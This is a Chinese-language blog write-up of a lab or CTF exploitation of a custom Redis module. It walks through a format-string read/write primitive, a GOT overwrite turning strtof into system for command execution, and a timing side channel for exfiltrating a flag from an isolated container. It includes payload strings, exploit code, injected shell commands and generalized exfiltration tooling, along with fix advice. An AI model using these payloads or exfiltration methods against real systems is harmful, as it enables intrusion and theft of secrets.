4716 字
24 分鐘
Redis Nemesis 利用報告:從 Redis 模塊格式化字符串到無輸出環境下的計時側信道取 Flag

目录

  1. 摘要
  2. 1. 靶场概述与来源
  3. 2. 环境与版本指纹(供独立核对)
  4. 3. 漏洞分析
  5. 4. 利用链实现(约 47 秒)
  6. 5. 后利用:输出通道的系统性排查
  7. 6. 计时侧信道外带设计
  8. 7. 验证与结果
  9. 8. 修复建议(给模块作者)
  10. 9. 结论
  11. 附录 A:偏移与参数速查
  12. 附录 B:原始日志与证据(随附压缩包 evidence/)
  13. 附录 C:随附脚本(scripts/ 目录,均已去除本地路径,python3 标准库零依赖)
  14. 附录 D:时间线(15 轮实例)

类别:二进制利用 / 后利用 / 隐蔽外带 目标:Redis 7.0.15 自定义模块 nemesis.so(“复仇女神 / Matrix Engine v1.0”) 最终结果:获得完全 RCE;在目标与外界完全网络隔离、无任何输出回显的条件下,以计时侧信道逐字节外带 Flag 成功 Flag:CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}


摘要 {#redis-nemesis-section-1}#

本报告完整记录了一次针对 Redis 自定义模块的利用过程。目标模块 nemesis.so 注册了 5 个命令(NEMESIS.CREATE/DEBUG/MULT/VIEW/DELETE),其中两处独立缺陷——NEMESIS.DEBUG 将用户输入直接作为格式化字符串传入 snprintf(CWE-134),以及 NEMESIS.MULT 对非 DENSE 矩阵按 DENSE 数组解释导致的越界读(CWE-125)——构成了任意地址读写原语。配合模块编译时未开启 Full RELRO(GNU_RELRO 段仅覆盖 [0xf360, 0x10000),GOT 位于其外),利用链在约 47 秒内稳定走通:栈上返回地址扫描得模块基址 → GOT 泄漏得 libc 基址 → 4 次 %hhn 将 strtof@got 覆写为 system → 经 NEMESIS.CREATE 的 seed 参数触发任意命令执行。

报告的后半部分聚焦一个更具工程意义的命题:当目标容器网络完全隔离、平台无任何日志回显、ptrace 被 Yama 封锁、甚至环境变量都被清空时,如何把一个 36 字节的秘密送出来。 我们系统性排查了 18 条候选输出通道并逐一给出死因证据(其中”DNS 外带日志中出现的记录实为攻击者浏览器自身查询”是一个具有普遍意义的误判陷阱),最终采用计时侧信道:利用 RCE 让目标按秘密数据逐 2 bit 休眠不同时长,客户端测量 RESP 往返耗时还原数据。实测通道精度 ±0.05s,36 字节 Flag 以零错误于 9 分 33 秒提取完毕。该方法对”有执行、无回传”类场景具有通用性,报告第 6 章给出了可直接复用的参数化驱动设计。


1. 靶场概述与来源 {#redis-nemesis-section-2}#

1.1 题目形态#

  • 题目名:Redis Nemesis(复仇女神)。目标以一个自研 Redis 模块为载体,模块源码路径在二进制内可见(nemesis.c,运行时经 addr2line 解析为 /tmp/nemesis.c)。

  • 分发方式:训练平台以独立容器实例分发,经 Cloudflare 隧道暴露,入口形如 http://38.60.125.120:<随机端口>/,生命周期约 60 分钟;同端口同时提供 HTTP 网关(/、/health、/debug、/log)与 Redis RESP 服务。

  • 可独立核对的指纹:见第 2 章。所有偏移、字符串、符号均来自第一手利用记录(见附录 B),读者可在获得同类实例后逐项比对。

  • 说明:该靶场未随实例提供公开赛事页面或源码下载链接;本报告全部结论均可由第 2 章指纹 + 附录 C 复现步骤独立验证。

1.2 目标架构#

+----------------------------------------------+
| 容器 (网络隔离, 空环境变量, 非 root 运行) |
| |
38.60.125.120:P --| HTTP 网关 --+-- /log 读 /tmp/nemesis.c |
(Cloudflare 隧道) | +-- /debug addr2line 符号化 |
| |
| redis-server 7.0.15 (容器内 :6380) |
| +-- modules/nemesis.so <- 攻击面 |
| NEMESIS.CREATE/DEBUG/MULT/VIEW/DELETE|
+----------------------------------------------+

2. 环境与版本指纹(供独立核对) {#redis-nemesis-section-3}#

2.1 Redis 服务器指纹(INFO server 原始输出,见附录 B-1)#

| 项 | 值 |

| --- | --- |

| redis_version | 7.0.15 |

| redis_git_sha1 / dirty | 0000000000 / 0 |

| redis_build_id | e08dbad3e06f3fb |

| os | Linux 4.15.0-213-generic x86_64 |

| arch_bits | 64 |

| gcc_version | 12.2.0 |

| executable / config | /redis-server / /etc/redis/redis.conf |

| tcp_port(容器内) | 6380 |

| process_supervised | no |

| multiplexing_api | epoll |

2.2 模块指纹(MODULE LIST + 二进制字符串)#

| 项 | 值 |

| --- | --- |

| 模块路径 | /usr/lib/redis/modules/nemesis.so |

| 版本 | nemesis ver=1(Module API 1) |

| 导出命令 | nemesis.create / nemesis.debug / nemesis.mult / nemesis.view / nemesis.delete |

| 内部源码标识 | 二进制含完整日志格式串,均带 nemesis.c:%d] 行号前缀(见下表) |

| 矩阵类型 | DENSE / DIAG / SPARSE(字符串证据 CREATE SPARSE id=%d nnz=%d payload=%p row=%p col=%p val=%p;本轮利用未涉及) |

二进制内日志格式串(地址:内容)——可直接用于识别同源样本:

0xe871 'nemesis.c:%d] CREATE: wrong arity, got %d need 5'
0xe911 'nemesis.c:%d] CREATE DENSE id=%d %dx%d payload=%p'
0xe9a1 'nemesis.c:%d] CREATE DIAG id=%d %dx%d diag=%d payload=%p'
0xe9f9 'nemesis.c:%d] MULT: wrong arity'
0xea21 'nemesis.c:%d] MULT: matrix not found a=%p b=%p'
0xea69 'nemesis.c:%d] MULT: dimension mismatch %d != %d'
0xeb09 'nemesis.c:%d] VIEW: not found or not DENSE'
0xeb69 'nemesis.c:%d] DEBUG: matrix %lld not found'
0xebf1 'nemesis.c:%d] DELETE id=%d type=%d payload=%p'

2.3 ELF 属性与符号(addr2line + 程序头)#

程序头关键项:PH[8] GNU_RELRO off=0xf360 vaddr=0xf360 filesz=0xca0 → RELRO 覆盖 [0xf360, 0x10000);GOT 位于 0x10000 起,在 RELRO 段之外,运行时可写(未开启 Full RELRO)。GNU_STACK 存在(NX 开启,但不影响 GOT 覆写路径)。

符号表(函数偏移 / 大小 / 源文件行号):

| 符号 | 偏移 | 大小 | 源码位置(addr2line) |

| --- | --- | --- | --- |

| NemesisCreate_RedisCommand | 0xae05 | 0x567 | /tmp/nemesis.c:105 |

| NemesisDebug_RedisCommand | 0xb9f4 | 0x1ec | /tmp/nemesis.c:326 |

| NemesisDelete_RedisCommand | 0xbbe0 | — | /tmp/nemesis.c:357 |

| NemesisMult_RedisCommand | 0xb36c | 0x435 | /tmp/nemesis.c:202 |

| NemesisView_RedisCommand | 0xb7a1 | — | /tmp/nemesis.c:290 |

| __gmon_start__ | 0x2d99(.dynstr 内) | — | 模块基址验证锚点 |

GOT 布局(利用关键):

| GOT 条目 | 模块内偏移 | 用途 |

| --- | --- | --- |

| strlen@got | base+0x10000 | 备选劫持目标 |

| snprintf@got | base+0x10008 | libc 基址泄漏源 |

| strtof@got | base+0x10010 | RCE 劫持目标 |

图 2:关键内存布局与 GOT/RELRO 边界

2.4 libc 指纹(两种 build,实测)#

平台在不同实例间轮换两种 libc build,symbol 偏移需先识别再使用;实测 system 偏移两者一致:

| 符号 | build A | build B | 备注 |

| --- | --- | --- | --- |

| system | 0x4C490 | 0x4C490 | 两 build 均经 sleep 计时验证命中 |

| snprintf | 0x58C10 | 略异 | 用于从 GOT 反推 libc 基址 |

| strtof | 0x461C0 | 0xA3C0 | 仅用于识别当前 build |

| strlen | 0x156200 | — | 备选路径 |

build 判别法:读 strtof@got 得到函数地址,减去候选偏移后检验是否页对齐且落在合理 libc 区间;或直接用 snprintf@got - 0x58C10 反推并交叉验证。


3. 漏洞分析 {#redis-nemesis-section-4}#

3.1 CWE-134:NEMESIS.DEBUG 外部控制格式化字符串#

NEMESIS.DEBUG <key> <fmt> 将用户提供的 fmt 直接作为 snprintf 的格式化参数。典型症状与利用面:

> NEMESIS.DEBUG <id> "X%1$dY"
< "X3Y" ← 栈上第一个"参数"被解引用打印

由此得到两类原语(实现见随包 scripts/resp_client.py 与 scripts/fmt_primitives.py):

  • 任意地址读:fmt = esc("P"*8 + p64(addr)[:6]) + "%11$s"

  • esc() 转义字面量中的 %;P*8 作为回显对齐标记(回复去掉前 14 字节即目标内存);仅种植地址低 6 字节,高 2 字节依赖栈上残留 x00x00;%11$s 经第 11 个”参数”槽解引用 planted 指针。

  • 约束:地址低 6 字节不可含 0x00/0x25(plantable() 检查)。

  • 任意地址写(单字节):fmt = esc("P"*8 + p64(addr)[:6]) + "%2$c"*k + "%11$hhn"

  • k=(val-14)%256 控制”已打印字符数”,%hhn 将该计数低字节写入 planted 指针指向处。

3.2 CWE-125:NEMESIS.MULT 类型混淆越界读#

MULT 的实现把任意类型矩阵的 payload 统一按 DENSE float 数组、以 a->cols * rows 解释长度;而 DIAG 矩阵仅分配 min(rows, cols) 个元素。构造 A = DIAG r x 1(payload 仅 1 float)、B = DENSE 1x1 = 1.0,则 MULT(A,B) 的每个结果元素 result[i] = payload_A[i] 均为越界读;配合 VIEW 的 (0x%08x) 原始位模式输出,一次调用可泄漏数 KB 堆内存。该原语在利用链中并非必需(DEBUG 的 %s 已覆盖读需求),但它是认知模块内存布局(堆上矩阵结构体、字符串)的入口。

3.3 无 Full RELRO 与 GOT 覆写#

由 §2.3,GOT 位于 RELRO 覆盖区之外且 DT_BIND_NOW 未强制,strtof@got 在运行期可写。选它作为劫持目标的原因:NEMESIS.CREATE 0 1 1 <seed> 内部对 seed 走 parse_floats() → 逐 token 调 strtof(),seed 完全可控——覆写后 seed 即 shell 命令,CREATE 即执行器:

NEMESIS.CREATE 0 1 1 "cat /flag; …" → strtof(seed) → system(seed) → sh -c seed

3.4 两个必须书写的实现细节(后续所有故障的根源)#

  1. seed 按逗号切分:parse_floats 以逗号切分 seed。含逗号的命令会被切成多个片段分别执行(或造成 sh 语法错误/未闭合引号挂起)。所有下发命令必须不含逗号——本报告第 5 章多次”灵异故障”皆源于此。

  2. system() 返回后仍会被继续调用:parse_floats 中 end 指针在 system() 返回后不会更新,模块继续以垃圾指针调用 strtof(→system),即 sh -c <内存中的随机字节>。多数无害,但一旦垃圾字节构成未闭合引号将挂死 stdin。下发命令应短、无引号、主体落盘为文件。


4. 利用链实现(约 47 秒) {#redis-nemesis-section-5}#

图 1:完整利用链总览

[1] OOB 堆读(§3.2) 侦察堆布局(可选)
[2] DEBUG 格式化字符串确认 "X%1$dY" → "X3Y"
[3] 读原语 任意地址读(堆/栈/libc/GOT)
[4] 模块基址 栈上返回地址低 12 位 ∈ {0xb9f, 0xbb59, 0xbbc}
→ base = retaddr - 0xbb9f
→ 验证 base+0x2d99 == "__gmon_start__"
[5] libc 基址 snprintf@got - 0x58C10(build A)
[6] system 地址 libc + 0x4C490(两 build 通用)
[7] GOT 覆写 4 × %hhn:strtof@got ← system
[8] RCE 触发与验证 CREATE seed;尾部 "sleep N" 测 RTT ≈ N 秒

核心代码(完整可运行版本见随包 scripts/exploit_chain.py):

sysaddr = libc + 0x4C490
got = module_base + 0x10010 # strtof@got
for i in range(4): # 写低 4 字节(高 4 字节本就是 0x00007f..)
whb(e, got + i, (sysaddr >> (8 * i)) & 0xFF)
assert rq1(e, got) == sysaddr # 回读校验
# 计时验证(无输出环境下唯一可信的执行探针)
t0 = time.time()
e.nem.r.cmd("NEMESIS.CREATE", "0", "1", "1", "sleep 3")
assert time.time() - t0 > 3.0 # → RCE 确凿

实测耗时分解(15 轮统计):槽位/基址扫描 36-120 秒为主项(受隧道 RTT 影响),patch 与触发 < 5 秒;全链最短 41 秒。进程会随实例中途重启,patch 随之丢失,长任务必须实现”探活 → 全链重打 → 断点续传”。


5. 后利用:输出通道的系统性排查 {#redis-nemesis-section-6}#

RCE 与 Flag 可读性确立后,问题转化为把一个约 36 字节的秘密送出隔离容器。下表汇总全部 18 条候选通道及死因(每条均有实测证据,节选见附录 B):

图 3:输出通道排查总览(18 条全部阵亡)

|

|

通道 | 结论 | 关键证据 |

| --- | --- | --- | --- |

| 1 | /log 网页 | 死:页面实时读取 root 所有的 /tmp/nemesis.c,sticky 目录不可删不可写 | 写入 3000B 纯 ASCII 标记后页面不变 |

| 2 | DNS 外带(dnslog 类) | 死:容器 UDP/53 出口不存在 | [email protected] 与解析均瞬时失败;页面中偶现的记录经溯源为攻击者浏览器自身查询 |

| 3 | HTTP 外带(curl/wget) | 死:TCP 即拒 | curl -m 8 连接外网 IP 失败耗时 <0.3s |

| 4 | /proc/<pid>/mem 写内存 | 死:Yama ptrace_scope=1,子进程不可写父进程 | python os.pwrite EPERM |

| 5 | 继承 fd 批量写入 | 死:client fd 带 CLOEXEC;TCP socket 不可经 /proc/pid/fd 重开 | 盲写 15 个 fd 无回显 |

| 6 | stdout/stderr → 平台控制台 | 死:实例由机器人分发,平台无控制台反馈 | 多格式 dump 后无任何可见输出 |

| 7 | 环境变量 | 死:平台以空环境启动 | 栈顶漫游 + 槽位大跨度 dump 均无 env 字符串 |

| 8 | 矩阵元素含退出码 | 死:VIEW 元素恒 0x0(xmm0 残留为 0) | exit 0/65/127/200/255 对照 |

| 9 | 客户端 socket 注入 | 死:CLOEXEC | — |

| 10 | /debug addr2line 注入 | 死:仅符号化 | 参数无注入点 |

| 11 | 网关隐藏端点 | 死:/exec /run /cmd /console… 全 404 | 目录扫描 |

| 12 | keyspace 藏 flag | 死:KEYS * 为空,DBSIZE=0 | RESP 查询 |

| 13 | 模块未公开命令 | 死:COMMAND 列表仅 5 条 | 命令面枚举 |

| 14 | GOT 换 callee(如 popen/execl) | 无增益:换 callee 不换参数 | 论证 |

| 15 | fork/CLONE_VM 共享窗口 | 死:posix_spawn 即 exec,无可写窗口 | 论证 |

| 16 | 信号/核心转储 | 死:flag 不在 redis 内存 | 论证 |

| 17 | 计时侧信道(早期) | 曾误判死刑:RTT 抖动实际仅 ±0.05s | 见第 6 章 |

| 18 | /proc/<pid>/maps 读 | 可用但无外传路径(信息可经计时编码) | §5.1 |

5.1 两个具有普遍意义的误判陷阱#

  1. “DNSLOG 有记录”≠ 外带成功。第 13 轮曾在页面上看到 5 条记录(3 个 Google 递归 IP + 2 个国内 ISP IP,同一秒)。经溯源:时间点与页面刷新吻合、问题区只有裸域名、无任何数据标签——这些记录是浏览器解析 DNSLOG 页面自身域名产生的。教训:输出通道的存在性必须由接收内容确认,不能由”有日志迹象”推断。

  2. “输出被缓存”≠ 文件没改。第 10-11 轮一度判定 /log 页面缓存 poisoning;实际页面每次实时重读,是 /tmp/nemesis.c 从未被成功写入(权限失败但未检查退出码)。教训:命令执行成功 ≠ 命令目的达成,落盘类操作必须回读校验。


6. 计时侧信道外带设计 {#redis-nemesis-section-7}#

6.1 通道模型#

当目标”可执行、不可见”时,执行耗时成为唯一可观测载体。要求只有一个:RTT 稳定且可精确测量。本环境实测 sleep N 的往返为 N + 0.16s,重复偏差 ±0.05s——足以支撑秒级码距。

6.2 编码#

每个字节分 4 次查询,每次提取 2 bit:

图 4:计时侧信道编码示例(字节 0x43 'C')

| level | sleep | elapsed 判定区间 |

| --- | --- | --- |

| 0 | 1.5s | < 2.25s |

| 1 | 3.0s | 2.25 – 3.75s |

| 2 | 4.5s | 3.75 – 5.25s |

| 3 | 6.0s | ≥ 5.25s |

  • 移位次序 6/4/2/0(大端拼回);

  • 越界自终止:K >= len(d) 时 sleep 0.5s(<1.0s 判定),无需预先知道秘密长度;

  • 成本:4 查询/字节 × 约 4s ≈ 16s/字节;36 字节 Flag 实测 573s、零错误。

6.3 工程要点(三次失败换来的)#

  1. 命令无逗号(§3.4-1):早期版本 open('/flag','rb') 的逗号使命令被切碎,查询全部秒退——花了数轮才定位。

  2. 命令无引号、主体落盘(§3.4-2):直接把 python 一行流塞进 seed 会因残留未闭合引号挂死。最终方案:一次性用 base64 把查询脚本写到 /tmp/oq.py,之后每次查询的命令仅剩纯数字参数:

    python3 /tmp/oq.py <字节号> <移位>

    即使被垃圾 system() 截断,尾巴也只是无害的”命令不存在”。

  3. 长任务三件套:每查询新建连接(抗隧道 reset)、35s 超时 + 6 次重试、patch 探活失败自动全链重打并断点续传(timing_exfil.py <起始字节> 80)。

6.4 通用化#

报告已将上述设计抽象为协议无关的驱动(随包 scripts/oracle_lib.py):适配新目标只需实现 4 个 transport 方法(connect / trigger / rce_alive / reestablish_rce),编码、分类、容错、续传逻辑全部复用。它适用于一切”已获任意命令执行但无回传”的场景(隔离容器、 Blind RCE、只进不出的出网过滤)。

本报告的计时外带实战脚本为随包 scripts/timing_exfil.py(含断点续传;运行方式见附录 C)。


7. 验证与结果 {#redis-nemesis-section-8}#

7.1 执行验证#

RCE 每一步均以 sleep 计时验证(非输出):

CREATE -> 7 elapsed=3.2s # 命令为 "...; sleep 3"

7.2 Flag 提取实录(节选,完整日志见附录 B-2)#

[ 0] 0x43 'C' -> b'C' (17s)
[ 1] 0x54 'T' -> b'CT' (28s)
[ 2] 0x46 'F' -> b'CTF' (42s)
[ 3] 0x7b '{' -> b'CTF{' (62s)
… (32 字节无一次误码)
[ 34] 0x7d '}' -> b'CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}' (559s)
[ 35] 0x0a -> b'...}n' (572s)
[*] 第 36 字节处越界,提取结束
[+] FLAG (36B): b'CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}n'

Flag 语义:R3d1s_N3m3sis = “Redis Nemesis”(leetspeak),FSOP(Fake Structure-Oriented Programming)恰与本利用路线同族——以伪造数据/控制流劫持为核心技艺。


8. 修复建议(给模块作者) {#redis-nemesis-section-9}#

  1. 格式化字符串:DEBUG 禁止把用户输入当 fmt;改为 snprintf(out, size, "%s", user_fmt),或编译开启 -Wformat -Werror=format-security。

  2. 类型混淆:MULT 必须先校验 a->type == DENSE 再按 a->cols*rows 解释长度;所有 payload 访问以类型判定长度。

  3. 编译加固:Full RELRO(-Wl,-z,relro,-z,now)使 GOT 只读;配合 -fstack-protector-strong、-D_FORTIFY_SOURCE=2。

  4. 权限最小化:以非 root 运行并配合 seccomp(禁止 execve/ptrace)、PR_SET_DUMPABLE 0、只读根文件系统;flag 文件权限收紧到独立用户。

  5. 平台侧:容器默认禁止外联时不应成为唯一依赖——启用 eBPF/seccomp 审计 system 调用;对长 RTT 执行做行为速率限制可抬高计时侧信道成本(但无法根除,仍需以①③④为主)。


9. 结论 {#redis-nemesis-section-10}#

该靶场的漏洞面是教科书式的(格式化字符串 + 无 RELRO GOT),RCE 在分钟级稳定达成;真正的挑战在于后利用阶段的通道灭绝。本报告的价值更多在于第 5-6 章:以工程化方法完成 18 条输出通道的系统性尸检(其中两条误判陷阱具有跨靶场普适性),并在全部带宽通道死亡后,把最古老的物理层——时钟——改造成可靠的单供需通道:±0.05s 的测量精度、2 bit/查询的码率、零错误的 36 字节传输。


附录 A:偏移与参数速查 {#redis-nemesis-section-11}#

见 §2.3/§2.4(模块符号、GOT、libc build)与 §6.2(计时码表)。

附录 B:原始日志与证据(随附压缩包 evidence/) {#redis-nemesis-section-12}#

| 文件 | 内容 |

| --- | --- |

| B-1-resp-info-server.txt | INFO server 完整原始输出(§2.1) |

| B-2-flag-extraction.log | Flag 逐字节计时提取完整日志(§7.2) |

| B-3-channel-autopsy.log | 18 条输出通道尸检命令与耗时(§5) |

| B-4-addr2line-symbols.txt | 模块符号/源码行号/大小(§2.3) |

| B-5-module-strings.txt | 二进制内日志格式串清单(§2.2) |

| B-6-log-page.html | /log 页面原始 HTML(root 文件 + 解码异常 + 符号表) |

| B-7-slot-dump.log | 12 槽位 dump 与栈上模块日志行残留(§4) |

附录 C:随附脚本(scripts/ 目录,均已去除本地路径,python3 标准库零依赖) {#redis-nemesis-section-13}#

| 文件名 | 用途 |

| --- | --- |

| scripts/resp_client.py | RESP 客户端 + OOB 堆读(DIAG/DENSE 类型混淆) |

| scripts/fmt_primitives.py | DEBUG 格式化字符串读/写原语 + 模块基址扫描 |

| scripts/exploit_chain.py | 全链:基址 → GOT patch → RCE 验证(附一轮外带尝试范式) |

| scripts/timing_exfil.py | 计时侧信道取秘密(核心),支持断点续传 |

| scripts/flag_probe.py | 无逗号版存在性/大小探针 |

| scripts/proc_mem_attempt.py | 已阵亡通道存档(ptrace_scope=0 环境下可直接启用) |

| scripts/oracle_lib.py | 协议无关的计时外带驱动(换靶场只需实现 4 个方法) |

复现:NEM_PORT=<实例端口> python timing_exfil.py 0 80(约 12 分钟;中途实例重启后以已提取字节数为参数续跑)。

附录 D:时间线(15 轮实例) {#redis-nemesis-section-14}#

| 阶段 | 轮次 | 关键进展 |

| --- | --- | --- |

| 原语建立 | 1-6 | OOB 堆读;DEBUG 确认;读写原语稳定;libc 快径 |

| 链路打通 | 7-10 | link_map 动态解析(弃用);差分测出 system=libc+0x4C490,RCE 全链 2.5 分钟 |

| 通道排查 | 10-14 | /log、stdout、DNS、socket 注入相继排除;两条误判陷阱固化 |

| 收官 | 15 | 逗号根因查明;网络/ptrace/控制台全面尸检;计时侧信道 Flag 捕获(573s 零错误) |

Redis Nemesis 利用報告:從 Redis 模塊格式化字符串到無輸出環境下的計時側信道取 Flag
https://blog.ouneed.tech/posts/redis-nemesis-format-string-timing-side-channel/
作者
winter
發佈於
2026-09-25
許可協議
CC BY-NC-SA 4.0